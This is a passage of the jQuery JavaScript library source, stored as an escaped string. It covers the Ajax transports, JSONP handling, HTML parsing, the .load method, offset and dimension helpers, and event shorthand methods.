undefined;\n\t\t}\n\n\t\t// The url can be an options object (which then must have .url)\n\t\treturn jQuery.ajax( jQuery.extend( {\n\t\t\turl: url,\n\t\t\ttype: method,\n\t\t\tdataType: type,\n\t\t\tdata: data,\n\t\t\tsuccess: callback\n\t\t}, jQuery.isPlainObject( url ) && url ) );\n\t};\n} );\n\n\njQuery._evalUrl = function( url, options ) {\n\treturn jQuery.ajax( {\n\t\turl: url,\n\n\t\t// Make this explicit, since user can override this through ajaxSetup (#11264)\n\t\ttype: \"GET\",\n\t\tdataType: \"script\",\n\t\tcache: true,\n\t\tasync: false,\n\t\tglobal: false,\n\n\t\t// Only evaluate the response if it is successful (gh-4126)\n\t\t// dataFilter is not invoked for failure responses, so using it instead\n\t\t// of the default converter is kludgy but it works.\n\t\tconverters: {\n\t\t\t\"text script\": function() {}\n\t\t},\n\t\tdataFilter: function( response ) {\n\t\t\tjQuery.globalEval( response, options );\n\t\t}\n\t} );\n};\n\n\njQuery.fn.extend( {\n\twrapAll: function( html ) {\n\t\tvar wrap;\n\n\t\tif ( this[ 0 ] ) {\n\t\t\tif ( isFunction( html ) ) {\n\t\t\t\thtml = html.call( this[ 0 ] );\n\t\t\t}\n\n\t\t\t// The elements to wrap the target around\n\t\t\twrap = jQuery( html, this[ 0 ].ownerDocument ).eq( 0 ).clone( true );\n\n\t\t\tif ( this[ 0 ].parentNode ) {\n\t\t\t\twrap.insertBefore( this[ 0 ] );\n\t\t\t}\n\n\t\t\twrap.map( function() {\n\t\t\t\tvar elem = this;\n\n\t\t\t\twhile ( elem.firstElementChild ) {\n\t\t\t\t\telem = elem.firstElementChild;\n\t\t\t\t}\n\n\t\t\t\treturn elem;\n\t\t\t} ).append( this );\n\t\t}\n\n\t\treturn this;\n\t},\n\n\twrapInner: function( html ) {\n\t\tif ( isFunction( html ) ) {\n\t\t\treturn this.each( function( i ) {\n\t\t\t\tjQuery( this ).wrapInner( html.call( this, i ) );\n\t\t\t} );\n\t\t}\n\n\t\treturn this.each( function() {\n\t\t\tvar self = jQuery( this ),\n\t\t\t\tcontents = self.contents();\n\n\t\t\tif ( contents.length ) {\n\t\t\t\tcontents.wrapAll( html );\n\n\t\t\t} else {\n\t\t\t\tself.append( html );\n\t\t\t}\n\t\t} );\n\t},\n\n\twrap: function( html ) {\n\t\tvar htmlIsFunction = isFunction( html );\n\n\t\treturn this.each( function( i ) {\n\t\t\tjQuery( this ).wrapAll( htmlIsFunction ? html.call( this, i ) : html );\n\t\t} );\n\t},\n\n\tunwrap: function( selector ) {\n\t\tthis.parent( selector ).not( \"body\" ).each( function() {\n\t\t\tjQuery( this ).replaceWith( this.childNodes );\n\t\t} );\n\t\treturn this;\n\t}\n} );\n\n\njQuery.expr.pseudos.hidden = function( elem ) {\n\treturn !jQuery.expr.pseudos.visible( elem );\n};\njQuery.expr.pseudos.visible = function( elem ) {\n\treturn !!( elem.offsetWidth || elem.offsetHeight || elem.getClientRects().length );\n};\n\n\n\n\njQuery.ajaxSettings.xhr = function() {\n\ttry {\n\t\treturn new window.XMLHttpRequest();\n\t} catch ( e ) {}\n};\n\nvar xhrSuccessStatus = {\n\n\t\t// File protocol always yields status code 0, assume 200\n\t\t0: 200,\n\n\t\t// Support: IE <=9 only\n\t\t// #1450: sometimes IE returns 1223 when it should be 204\n\t\t1223: 204\n\t},\n\txhrSupported = jQuery.ajaxSettings.xhr();\n\nsupport.cors = !!xhrSupported && ( \"withCredentials\" in xhrSupported );\nsupport.ajax = xhrSupported = !!xhrSupported;\n\njQuery.ajaxTransport( function( options ) {\n\tvar callback, errorCallback;\n\n\t// Cross domain only allowed if supported through XMLHttpRequest\n\tif ( support.cors || xhrSupported && !options.crossDomain ) {\n\t\treturn {\n\t\t\tsend: function( headers, complete ) {\n\t\t\t\tvar i,\n\t\t\t\t\txhr = options.xhr();\n\n\t\t\t\txhr.open(\n\t\t\t\t\toptions.type,\n\t\t\t\t\toptions.url,\n\t\t\t\t\toptions.async,\n\t\t\t\t\toptions.username,\n\t\t\t\t\toptions.password\n\t\t\t\t);\n\n\t\t\t\t// Apply custom fields if provided\n\t\t\t\tif ( options.xhrFields ) {\n\t\t\t\t\tfor ( i in options.xhrFields ) {\n\t\t\t\t\t\txhr[ i ] = options.xhrFields[ i ];\n\t\t\t\t\t}\n\t\t\t\t}\n\n\t\t\t\t// Override mime type if needed\n\t\t\t\tif ( options.mimeType && xhr.overrideMimeType ) {\n\t\t\t\t\txhr.overrideMimeType( options.mimeType );\n\t\t\t\t}\n\n\t\t\t\t// X-Requested-With header\n\t\t\t\t// For cross-domain requests, seeing as conditions for a preflight are\n\t\t\t\t// akin to a jigsaw puzzle, we simply never set it to be sure.\n\t\t\t\t// (it can always be set on a per-request basis or even using ajaxSetup)\n\t\t\t\t// For same-domain requests, won't change header if already provided.\n\t\t\t\tif ( !options.crossDomain && !headers[ \"X-Requested-With\" ] ) {\n\t\t\t\t\theaders[ \"X-Requested-With\" ] = \"XMLHttpRequest\";\n\t\t\t\t}\n\n\t\t\t\t// Set headers\n\t\t\t\tfor ( i in headers ) {\n\t\t\t\t\txhr.setRequestHeader( i, headers[ i ] );\n\t\t\t\t}\n\n\t\t\t\t// Callback\n\t\t\t\tcallback = function( type ) {\n\t\t\t\t\treturn function() {\n\t\t\t\t\t\tif ( callback ) {\n\t\t\t\t\t\t\tcallback = errorCallback = xhr.onload =\n\t\t\t\t\t\t\t\txhr.onerror = xhr.onabort = xhr.ontimeout =\n\t\t\t\t\t\t\t\t\txhr.onreadystatechange = null;\n\n\t\t\t\t\t\t\tif ( type === \"abort\" ) {\n\t\t\t\t\t\t\t\txhr.abort();\n\t\t\t\t\t\t\t} else if ( type === \"error\" ) {\n\n\t\t\t\t\t\t\t\t// Support: IE <=9 only\n\t\t\t\t\t\t\t\t// On a manual native abort, IE9 throws\n\t\t\t\t\t\t\t\t// errors on any property access that is not readyState\n\t\t\t\t\t\t\t\tif ( typeof xhr.status !== \"number\" ) {\n\t\t\t\t\t\t\t\t\tcomplete( 0, \"error\" );\n\t\t\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\t\t\tcomplete(\n\n\t\t\t\t\t\t\t\t\t\t// File: protocol always yields status 0; see #8605, #14207\n\t\t\t\t\t\t\t\t\t\txhr.status,\n\t\t\t\t\t\t\t\t\t\txhr.statusText\n\t\t\t\t\t\t\t\t\t);\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\t\tcomplete(\n\t\t\t\t\t\t\t\t\txhrSuccessStatus[ xhr.status ] || xhr.status,\n\t\t\t\t\t\t\t\t\txhr.statusText,\n\n\t\t\t\t\t\t\t\t\t// Support: IE <=9 only\n\t\t\t\t\t\t\t\t\t// IE9 has no XHR2 but throws on binary (trac-11426)\n\t\t\t\t\t\t\t\t\t// For XHR2 non-text, let the caller handle it (gh-2498)\n\t\t\t\t\t\t\t\t\t( xhr.responseType || \"text\" ) !== \"text\"  ||\n\t\t\t\t\t\t\t\t\ttypeof xhr.responseText !== \"string\" ?\n\t\t\t\t\t\t\t\t\t\t{ binary: xhr.response } :\n\t\t\t\t\t\t\t\t\t\t{ text: xhr.responseText },\n\t\t\t\t\t\t\t\t\txhr.getAllResponseHeaders()\n\t\t\t\t\t\t\t\t);\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t};\n\t\t\t\t};\n\n\t\t\t\t// Listen to events\n\t\t\t\txhr.onload = callback();\n\t\t\t\terrorCallback = xhr.onerror = xhr.ontimeout = callback( \"error\" );\n\n\t\t\t\t// Support: IE 9 only\n\t\t\t\t// Use onreadystatechange to replace onabort\n\t\t\t\t// to handle uncaught aborts\n\t\t\t\tif ( xhr.onabort !== undefined ) {\n\t\t\t\t\txhr.onabort = errorCallback;\n\t\t\t\t} else {\n\t\t\t\t\txhr.onreadystatechange = function() {\n\n\t\t\t\t\t\t// Check readyState before timeout as it changes\n\t\t\t\t\t\tif ( xhr.readyState === 4 ) {\n\n\t\t\t\t\t\t\t// Allow onerror to be called first,\n\t\t\t\t\t\t\t// but that will not handle a native abort\n\t\t\t\t\t\t\t// Also, save errorCallback to a variable\n\t\t\t\t\t\t\t// as xhr.onerror cannot be accessed\n\t\t\t\t\t\t\twindow.setTimeout( function() {\n\t\t\t\t\t\t\t\tif ( callback ) {\n\t\t\t\t\t\t\t\t\terrorCallback();\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t} );\n\t\t\t\t\t\t}\n\t\t\t\t\t};\n\t\t\t\t}\n\n\t\t\t\t// Create the abort callback\n\t\t\t\tcallback = callback( \"abort\" );\n\n\t\t\t\ttry {\n\n\t\t\t\t\t// Do send the request (this may raise an exception)\n\t\t\t\t\txhr.send( options.hasContent && options.data || null );\n\t\t\t\t} catch ( e ) {\n\n\t\t\t\t\t// #14683: Only rethrow if this hasn't been notified as an error yet\n\t\t\t\t\tif ( callback ) {\n\t\t\t\t\t\tthrow e;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t},\n\n\t\t\tabort: function() {\n\t\t\t\tif ( callback ) {\n\t\t\t\t\tcallback();\n\t\t\t\t}\n\t\t\t}\n\t\t};\n\t}\n} );\n\n\n\n\n// Prevent auto-execution of scripts when no explicit dataType was provided (See gh-2432)\njQuery.ajaxPrefilter( function( s ) {\n\tif ( s.crossDomain ) {\n\t\ts.contents.script = false;\n\t}\n} );\n\n// Install script dataType\njQuery.ajaxSetup( {\n\taccepts: {\n\t\tscript: \"text/javascript, application/javascript, \" +\n\t\t\t\"application/ecmascript, application/x-ecmascript\"\n\t},\n\tcontents: {\n\t\tscript: /\\b(?:java|ecma)script\\b/\n\t},\n\tconverters: {\n\t\t\"text script\": function( text ) {\n\t\t\tjQuery.globalEval( text );\n\t\t\treturn text;\n\t\t}\n\t}\n} );\n\n// Handle cache's special case and crossDomain\njQuery.ajaxPrefilter( \"script\", function( s ) {\n\tif ( s.cache === undefined ) {\n\t\ts.cache = false;\n\t}\n\tif ( s.crossDomain ) {\n\t\ts.type = \"GET\";\n\t}\n} );\n\n// Bind script tag hack transport\njQuery.ajaxTransport( \"script\", function( s ) {\n\n\t// This transport only deals with cross domain or forced-by-attrs requests\n\tif ( s.crossDomain || s.scriptAttrs ) {\n\t\tvar script, callback;\n\t\treturn {\n\t\t\tsend: function( _, complete ) {\n\t\t\t\tscript = jQuery( \"<script>\" )\n\t\t\t\t\t.attr( s.scriptAttrs || {} )\n\t\t\t\t\t.prop( { charset: s.scriptCharset, src: s.url } )\n\t\t\t\t\t.on( \"load error\", callback = function( evt ) {\n\t\t\t\t\t\tscript.remove();\n\t\t\t\t\t\tcallback = null;\n\t\t\t\t\t\tif ( evt ) {\n\t\t\t\t\t\t\tcomplete( evt.type === \"error\" ? 404 : 200, evt.type );\n\t\t\t\t\t\t}\n\t\t\t\t\t} );\n\n\t\t\t\t// Use native DOM manipulation to avoid our domManip AJAX trickery\n\t\t\t\tdocument.head.appendChild( script[ 0 ] );\n\t\t\t},\n\t\t\tabort: function() {\n\t\t\t\tif ( callback ) {\n\t\t\t\t\tcallback();\n\t\t\t\t}\n\t\t\t}\n\t\t};\n\t}\n} );\n\n\n\n\nvar oldCallbacks = [],\n\trjsonp = /(=)\\?(?=&|$)|\\?\\?/;\n\n// Default jsonp settings\njQuery.ajaxSetup( {\n\tjsonp: \"callback\",\n\tjsonpCallback: function() {\n\t\tvar callback = oldCallbacks.pop() || ( jQuery.expando + \"_\" + ( nonce++ ) );\n\t\tthis[ callback ] = true;\n\t\treturn callback;\n\t}\n} );\n\n// Detect, normalize options and install callbacks for jsonp requests\njQuery.ajaxPrefilter( \"json jsonp\", function( s, originalSettings, jqXHR ) {\n\n\tvar callbackName, overwritten, responseContainer,\n\t\tjsonProp = s.jsonp !== false && ( rjsonp.test( s.url ) ?\n\t\t\t\"url\" :\n\t\t\ttypeof s.data === \"string\" &&\n\t\t\t\t( s.contentType || \"\" )\n\t\t\t\t\t.indexOf( \"application/x-www-form-urlencoded\" ) === 0 &&\n\t\t\t\trjsonp.test( s.data ) && \"data\"\n\t\t);\n\n\t// Handle iff the expected data type is \"jsonp\" or we have a parameter to set\n\tif ( jsonProp || s.dataTypes[ 0 ] === \"jsonp\" ) {\n\n\t\t// Get callback name, remembering preexisting value associated with it\n\t\tcallbackName = s.jsonpCallback = isFunction( s.jsonpCallback ) ?\n\t\t\ts.jsonpCallback() :\n\t\t\ts.jsonpCallback;\n\n\t\t// Insert callback into url or form data\n\t\tif ( jsonProp ) {\n\t\t\ts[ jsonProp ] = s[ jsonProp ].replace( rjsonp, \"$1\" + callbackName );\n\t\t} else if ( s.jsonp !== false ) {\n\t\t\ts.url += ( rquery.test( s.url ) ? \"&\" : \"?\" ) + s.jsonp + \"=\" + callbackName;\n\t\t}\n\n\t\t// Use data converter to retrieve json after script execution\n\t\ts.converters[ \"script json\" ] = function() {\n\t\t\tif ( !responseContainer ) {\n\t\t\t\tjQuery.error( callbackName + \" was not called\" );\n\t\t\t}\n\t\t\treturn responseContainer[ 0 ];\n\t\t};\n\n\t\t// Force json dataType\n\t\ts.dataTypes[ 0 ] = \"json\";\n\n\t\t// Install callback\n\t\toverwritten = window[ callbackName ];\n\t\twindow[ callbackName ] = function() {\n\t\t\tresponseContainer = arguments;\n\t\t};\n\n\t\t// Clean-up function (fires after converters)\n\t\tjqXHR.always( function() {\n\n\t\t\t// If previous value didn't exist - remove it\n\t\t\tif ( overwritten === undefined ) {\n\t\t\t\tjQuery( window ).removeProp( callbackName );\n\n\t\t\t// Otherwise restore preexisting value\n\t\t\t} else {\n\t\t\t\twindow[ callbackName ] = overwritten;\n\t\t\t}\n\n\t\t\t// Save back as free\n\t\t\tif ( s[ callbackName ] ) {\n\n\t\t\t\t// Make sure that re-using the options doesn't screw things around\n\t\t\t\ts.jsonpCallback = originalSettings.jsonpCallback;\n\n\t\t\t\t// Save the callback name for future use\n\t\t\t\toldCallbacks.push( callbackName );\n\t\t\t}\n\n\t\t\t// Call if it was a function and we have a response\n\t\t\tif ( responseContainer && isFunction( overwritten ) ) {\n\t\t\t\toverwritten( responseContainer[ 0 ] );\n\t\t\t}\n\n\t\t\tresponseContainer = overwritten = undefined;\n\t\t} );\n\n\t\t// Delegate to script\n\t\treturn \"script\";\n\t}\n} );\n\n\n\n\n// Support: Safari 8 only\n// In Safari 8 documents created via document.implementation.createHTMLDocument\n// collapse sibling forms: the second one becomes a child of the first one.\n// Because of that, this security measure has to be disabled in Safari 8.\n// https://bugs.webkit.org/show_bug.cgi?id=137337\nsupport.createHTMLDocument = ( function() {\n\tvar body = document.implementation.createHTMLDocument( \"\" ).body;\n\tbody.innerHTML = \"<form></form><form></form>\";\n\treturn body.childNodes.length === 2;\n} )();\n\n\n// Argument \"data\" should be string of html\n// context (optional): If specified, the fragment will be created in this context,\n// defaults to document\n// keepScripts (optional): If true, will include scripts passed in the html string\njQuery.parseHTML = function( data, context, keepScripts ) {\n\tif ( typeof data !== \"string\" ) {\n\t\treturn [];\n\t}\n\tif ( typeof context === \"boolean\" ) {\n\t\tkeepScripts = context;\n\t\tcontext = false;\n\t}\n\n\tvar base, parsed, scripts;\n\n\tif ( !context ) {\n\n\t\t// Stop scripts or inline event handlers from being executed immediately\n\t\t// by using document.implementation\n\t\tif ( support.createHTMLDocument ) {\n\t\t\tcontext = document.implementation.createHTMLDocument( \"\" );\n\n\t\t\t// Set the base href for the created document\n\t\t\t// so any parsed elements with URLs\n\t\t\t// are based on the document's URL (gh-2965)\n\t\t\tbase = context.createElement( \"base\" );\n\t\t\tbase.href = document.location.href;\n\t\t\tcontext.head.appendChild( base );\n\t\t} else {\n\t\t\tcontext = document;\n\t\t}\n\t}\n\n\tparsed = rsingleTag.exec( data );\n\tscripts = !keepScripts && [];\n\n\t// Single tag\n\tif ( parsed ) {\n\t\treturn [ context.createElement( parsed[ 1 ] ) ];\n\t}\n\n\tparsed = buildFragment( [ data ], context, scripts );\n\n\tif ( scripts && scripts.length ) {\n\t\tjQuery( scripts ).remove();\n\t}\n\n\treturn jQuery.merge( [], parsed.childNodes );\n};\n\n\n/**\n * Load a url into a page\n */\njQuery.fn.load = function( url, params, callback ) {\n\tvar selector, type, response,\n\t\tself = this,\n\t\toff = url.indexOf( \" \" );\n\n\tif ( off > -1 ) {\n\t\tselector = stripAndCollapse( url.slice( off ) );\n\t\turl = url.slice( 0, off );\n\t}\n\n\t// If it's a function\n\tif ( isFunction( params ) ) {\n\n\t\t// We assume that it's the callback\n\t\tcallback = params;\n\t\tparams = undefined;\n\n\t// Otherwise, build a param string\n\t} else if ( params && typeof params === \"object\" ) {\n\t\ttype = \"POST\";\n\t}\n\n\t// If we have elements to modify, make the request\n\tif ( self.length > 0 ) {\n\t\tjQuery.ajax( {\n\t\t\turl: url,\n\n\t\t\t// If \"type\" variable is undefined, then \"GET\" method will be used.\n\t\t\t// Make value of this field explicit since\n\t\t\t// user can override it through ajaxSetup method\n\t\t\ttype: type || \"GET\",\n\t\t\tdataType: \"html\",\n\t\t\tdata: params\n\t\t} ).done( function( responseText ) {\n\n\t\t\t// Save response for use in complete callback\n\t\t\tresponse = arguments;\n\n\t\t\tself.html( selector ?\n\n\t\t\t\t// If a selector was specified, locate the right elements in a dummy div\n\t\t\t\t// Exclude scripts to avoid IE 'Permission Denied' errors\n\t\t\t\tjQuery( \"<div>\" ).append( jQuery.parseHTML( responseText ) ).find( selector ) :\n\n\t\t\t\t// Otherwise use the full result\n\t\t\t\tresponseText );\n\n\t\t// If the request succeeds, this function gets \"data\", \"status\", \"jqXHR\"\n\t\t// but they are ignored because response was set above.\n\t\t// If it fails, this function gets \"jqXHR\", \"status\", \"error\"\n\t\t} ).always( callback && function( jqXHR, status ) {\n\t\t\tself.each( function() {\n\t\t\t\tcallback.apply( this, response || [ jqXHR.responseText, status, jqXHR ] );\n\t\t\t} );\n\t\t} );\n\t}\n\n\treturn this;\n};\n\n\n\n\n// Attach a bunch of functions for handling common AJAX events\njQuery.each( [\n\t\"ajaxStart\",\n\t\"ajaxStop\",\n\t\"ajaxComplete\",\n\t\"ajaxError\",\n\t\"ajaxSuccess\",\n\t\"ajaxSend\"\n], function( i, type ) {\n\tjQuery.fn[ type ] = function( fn ) {\n\t\treturn this.on( type, fn );\n\t};\n} );\n\n\n\n\njQuery.expr.pseudos.animated = function( elem ) {\n\treturn jQuery.grep( jQuery.timers, function( fn ) {\n\t\treturn elem === fn.elem;\n\t} ).length;\n};\n\n\n\n\njQuery.offset = {\n\tsetOffset: function( elem, options, i ) {\n\t\tvar curPosition, curLeft, curCSSTop, curTop, curOffset, curCSSLeft, calculatePosition,\n\t\t\tposition = jQuery.css( elem, \"position\" ),\n\t\t\tcurElem = jQuery( elem ),\n\t\t\tprops = {};\n\n\t\t// Set position first, in-case top/left are set even on static elem\n\t\tif ( position === \"static\" ) {\n\t\t\telem.style.position = \"relative\";\n\t\t}\n\n\t\tcurOffset = curElem.offset();\n\t\tcurCSSTop = jQuery.css( elem, \"top\" );\n\t\tcurCSSLeft = jQuery.css( elem, \"left\" );\n\t\tcalculatePosition = ( position === \"absolute\" || position === \"fixed\" ) &&\n\t\t\t( curCSSTop + curCSSLeft ).indexOf( \"auto\" ) > -1;\n\n\t\t// Need to be able to calculate position if either\n\t\t// top or left is auto and position is either absolute or fixed\n\t\tif ( calculatePosition ) {\n\t\t\tcurPosition = curElem.position();\n\t\t\tcurTop = curPosition.top;\n\t\t\tcurLeft = curPosition.left;\n\n\t\t} else {\n\t\t\tcurTop = parseFloat( curCSSTop ) || 0;\n\t\t\tcurLeft = parseFloat( curCSSLeft ) || 0;\n\t\t}\n\n\t\tif ( isFunction( options ) ) {\n\n\t\t\t// Use jQuery.extend here to allow modification of coordinates argument (gh-1848)\n\t\t\toptions = options.call( elem, i, jQuery.extend( {}, curOffset ) );\n\t\t}\n\n\t\tif ( options.top != null ) {\n\t\t\tprops.top = ( options.top - curOffset.top ) + curTop;\n\t\t}\n\t\tif ( options.left != null ) {\n\t\t\tprops.left = ( options.left - curOffset.left ) + curLeft;\n\t\t}\n\n\t\tif ( \"using\" in options ) {\n\t\t\toptions.using.call( elem, props );\n\n\t\t} else {\n\t\t\tcurElem.css( props );\n\t\t}\n\t}\n};\n\njQuery.fn.extend( {\n\n\t// offset() relates an element's border box to the document origin\n\toffset: function( options ) {\n\n\t\t// Preserve chaining for setter\n\t\tif ( arguments.length ) {\n\t\t\treturn options === undefined ?\n\t\t\t\tthis :\n\t\t\t\tthis.each( function( i ) {\n\t\t\t\t\tjQuery.offset.setOffset( this, options, i );\n\t\t\t\t} );\n\t\t}\n\n\t\tvar rect, win,\n\t\t\telem = this[ 0 ];\n\n\t\tif ( !elem ) {\n\t\t\treturn;\n\t\t}\n\n\t\t// Return zeros for disconnected and hidden (display: none) elements (gh-2310)\n\t\t// Support: IE <=11 only\n\t\t// Running getBoundingClientRect on a\n\t\t// disconnected node in IE throws an error\n\t\tif ( !elem.getClientRects().length ) {\n\t\t\treturn { top: 0, left: 0 };\n\t\t}\n\n\t\t// Get document-relative position by adding viewport scroll to viewport-relative gBCR\n\t\trect = elem.getBoundingClientRect();\n\t\twin = elem.ownerDocument.defaultView;\n\t\treturn {\n\t\t\ttop: rect.top + win.pageYOffset,\n\t\t\tleft: rect.left + win.pageXOffset\n\t\t};\n\t},\n\n\t// position() relates an element's margin box to its offset parent's padding box\n\t// This corresponds to the behavior of CSS absolute positioning\n\tposition: function() {\n\t\tif ( !this[ 0 ] ) {\n\t\t\treturn;\n\t\t}\n\n\t\tvar offsetParent, offset, doc,\n\t\t\telem = this[ 0 ],\n\t\t\tparentOffset = { top: 0, left: 0 };\n\n\t\t// position:fixed elements are offset from the viewport, which itself always has zero offset\n\t\tif ( jQuery.css( elem, \"position\" ) === \"fixed\" ) {\n\n\t\t\t// Assume position:fixed implies availability of getBoundingClientRect\n\t\t\toffset = elem.getBoundingClientRect();\n\n\t\t} else {\n\t\t\toffset = this.offset();\n\n\t\t\t// Account for the *real* offset parent, which can be the document or its root element\n\t\t\t// when a statically positioned element is identified\n\t\t\tdoc = elem.ownerDocument;\n\t\t\toffsetParent = elem.offsetParent || doc.documentElement;\n\t\t\twhile ( offsetParent &&\n\t\t\t\t( offsetParent === doc.body || offsetParent === doc.documentElement ) &&\n\t\t\t\tjQuery.css( offsetParent, \"position\" ) === \"static\" ) {\n\n\t\t\t\toffsetParent = offsetParent.parentNode;\n\t\t\t}\n\t\t\tif ( offsetParent && offsetParent !== elem && offsetParent.nodeType === 1 ) {\n\n\t\t\t\t// Incorporate borders into its offset, since they are outside its content origin\n\t\t\t\tparentOffset = jQuery( offsetParent ).offset();\n\t\t\t\tparentOffset.top += jQuery.css( offsetParent, \"borderTopWidth\", true );\n\t\t\t\tparentOffset.left += jQuery.css( offsetParent, \"borderLeftWidth\", true );\n\t\t\t}\n\t\t}\n\n\t\t// Subtract parent offsets and element margins\n\t\treturn {\n\t\t\ttop: offset.top - parentOffset.top - jQuery.css( elem, \"marginTop\", true ),\n\t\t\tleft: offset.left - parentOffset.left - jQuery.css( elem, \"marginLeft\", true )\n\t\t};\n\t},\n\n\t// This method will return documentElement in the following cases:\n\t// 1) For the element inside the iframe without offsetParent, this method will return\n\t//    documentElement of the parent window\n\t// 2) For the hidden or detached element\n\t// 3) For body or html element, i.e. in case of the html node - it will return itself\n\t//\n\t// but those exceptions were never presented as a real life use-cases\n\t// and might be considered as more preferable results.\n\t//\n\t// This logic, however, is not guaranteed and can change at any point in the future\n\toffsetParent: function() {\n\t\treturn this.map( function() {\n\t\t\tvar offsetParent = this.offsetParent;\n\n\t\t\twhile ( offsetParent && jQuery.css( offsetParent, \"position\" ) === \"static\" ) {\n\t\t\t\toffsetParent = offsetParent.offsetParent;\n\t\t\t}\n\n\t\t\treturn offsetParent || documentElement;\n\t\t} );\n\t}\n} );\n\n// Create scrollLeft and scrollTop methods\njQuery.each( { scrollLeft: \"pageXOffset\", scrollTop: \"pageYOffset\" }, function( method, prop ) {\n\tvar top = \"pageYOffset\" === prop;\n\n\tjQuery.fn[ method ] = function( val ) {\n\t\treturn access( this, function( elem, method, val ) {\n\n\t\t\t// Coalesce documents and windows\n\t\t\tvar win;\n\t\t\tif ( isWindow( elem ) ) {\n\t\t\t\twin = elem;\n\t\t\t} else if ( elem.nodeType === 9 ) {\n\t\t\t\twin = elem.defaultView;\n\t\t\t}\n\n\t\t\tif ( val === undefined ) {\n\t\t\t\treturn win ? win[ prop ] : elem[ method ];\n\t\t\t}\n\n\t\t\tif ( win ) {\n\t\t\t\twin.scrollTo(\n\t\t\t\t\t!top ? val : win.pageXOffset,\n\t\t\t\t\ttop ? val : win.pageYOffset\n\t\t\t\t);\n\n\t\t\t} else {\n\t\t\t\telem[ method ] = val;\n\t\t\t}\n\t\t}, method, val, arguments.length );\n\t};\n} );\n\n// Support: Safari <=7 - 9.1, Chrome <=37 - 49\n// Add the top/left cssHooks using jQuery.fn.position\n// Webkit bug: https://bugs.webkit.org/show_bug.cgi?id=29084\n// Blink bug: https://bugs.chromium.org/p/chromium/issues/detail?id=589347\n// getComputedStyle returns percent when specified for top/left/bottom/right;\n// rather than make the css module depend on the offset module, just check for it here\njQuery.each( [ \"top\", \"left\" ], function( i, prop ) {\n\tjQuery.cssHooks[ prop ] = addGetHookIf( support.pixelPosition,\n\t\tfunction( elem, computed ) {\n\t\t\tif ( computed ) {\n\t\t\t\tcomputed = curCSS( elem, prop );\n\n\t\t\t\t// If curCSS returns percentage, fallback to offset\n\t\t\t\treturn rnumnonpx.test( computed ) ?\n\t\t\t\t\tjQuery( elem ).position()[ prop ] + \"px\" :\n\t\t\t\t\tcomputed;\n\t\t\t}\n\t\t}\n\t);\n} );\n\n\n// Create innerHeight, innerWidth, height, width, outerHeight and outerWidth methods\njQuery.each( { Height: \"height\", Width: \"width\" }, function( name, type ) {\n\tjQuery.each( { padding: \"inner\" + name, content: type, \"\": \"outer\" + name },\n\t\tfunction( defaultExtra, funcName ) {\n\n\t\t// Margin is only for outerHeight, outerWidth\n\t\tjQuery.fn[ funcName ] = function( margin, value ) {\n\t\t\tvar chainable = arguments.length && ( defaultExtra || typeof margin !== \"boolean\" ),\n\t\t\t\textra = defaultExtra || ( margin === true || value === true ? \"margin\" : \"border\" );\n\n\t\t\treturn access( this, function( elem, type, value ) {\n\t\t\t\tvar doc;\n\n\t\t\t\tif ( isWindow( elem ) ) {\n\n\t\t\t\t\t// $( window ).outerWidth/Height return w/h including scrollbars (gh-1729)\n\t\t\t\t\treturn funcName.indexOf( \"outer\" ) === 0 ?\n\t\t\t\t\t\telem[ \"inner\" + name ] :\n\t\t\t\t\t\telem.document.documentElement[ \"client\" + name ];\n\t\t\t\t}\n\n\t\t\t\t// Get document width or height\n\t\t\t\tif ( elem.nodeType === 9 ) {\n\t\t\t\t\tdoc = elem.documentElement;\n\n\t\t\t\t\t// Either scroll[Width/Height] or offset[Width/Height] or client[Width/Height],\n\t\t\t\t\t// whichever is greatest\n\t\t\t\t\treturn Math.max(\n\t\t\t\t\t\telem.body[ \"scroll\" + name ], doc[ \"scroll\" + name ],\n\t\t\t\t\t\telem.body[ \"offset\" + name ], doc[ \"offset\" + name ],\n\t\t\t\t\t\tdoc[ \"client\" + name ]\n\t\t\t\t\t);\n\t\t\t\t}\n\n\t\t\t\treturn value === undefined ?\n\n\t\t\t\t\t// Get width or height on the element, requesting but not forcing parseFloat\n\t\t\t\t\tjQuery.css( elem, type, extra ) :\n\n\t\t\t\t\t// Set width or height on the element\n\t\t\t\t\tjQuery.style( elem, type, value, extra );\n\t\t\t}, type, chainable ? margin : undefined, chainable );\n\t\t};\n\t} );\n} );\n\n\njQuery.each( ( \"blur focus focusin focusout resize scroll click dblclick \" +\n\t\"mousedown mouseup mousemove mouseover mouseout mouseenter mouseleave \" +\n\t\"change select submit keydown keypress keyup contextmenu\" ).split( \" \" ),\n\tfunction( i, name ) {\n\n\t// Handle event binding\n\tjQuery.fn[ name ] = function( data, fn ) {\n\t\treturn arguments.length > 0 ?\n\t\t\tthis.on( name, null, data, fn ) :\n\t\t\tthis.trigger( name );\n\t};\n} );\n\njQuery.fn.extend( {\n\thover: function( fnOver, fnOut ) {\n\t\treturn this.mouseenter( fnOver ).mouseleave( fnOut || fnOver );\n\t}\n} );\n\n\n\n\njQuery.fn.extend( {\n\n\tbind: function( types, data, fn ) {\n\t\treturn this.on( types, null, data, fn );\n\t},\n\tunbind: function( types, fn ) {\n\t\treturn this.off( types, null, fn );\n\t},\n\n\tdelegate: function( selector, types, data, fn ) {\n\t\treturn this.on( types, selector, data, fn );\n\t},\n\tundelegate: function( selector, types, fn ) {\n\n\t\t// ( namespace ) or ( selector, types [, fn] )\n\t\treturn arguments.length === 1 ?\n\t\t\tthis.off( selector, \"**\" ) :\n\t\t\tthis.off( types, selector || \"**\", fn );\n\t}\n} );\n\n// Bind a function to a context, optionally partially applying any\n// arguments.\n// jQuery.proxy is deprecated to promote standards (specifically Function#bind)\n// However, it is not slated for removal any time soon\njQuery.proxy = function( fn, context ) {\n\tvar tmp, args, proxy;\n\n\tif ( typeof context === \"string\" ) {\n\t\ttmp = fn[ context ];\n\t\tcontext = fn;\n\t\tfn = tmp;\n\t}\n\n\t// Quick check to determine if target is callable, in the spec\n\t// this throws a TypeError, but we will just return undefined.\n\tif ( !isFunction( fn ) ) {\n\t\treturn undefined;\n\t}\n\n\t// Simulated bind\n\targs = slice.call( arguments, 2 );\n\tproxy = function() {\n\t\treturn fn.apply( context || this, args.concat( slice.call( arguments ) ) );\n\t};\n\n\t// Set the guid of unique handler to the same of original handler, so it can be removed\n\tproxy.guid = fn.guid = fn.guid || 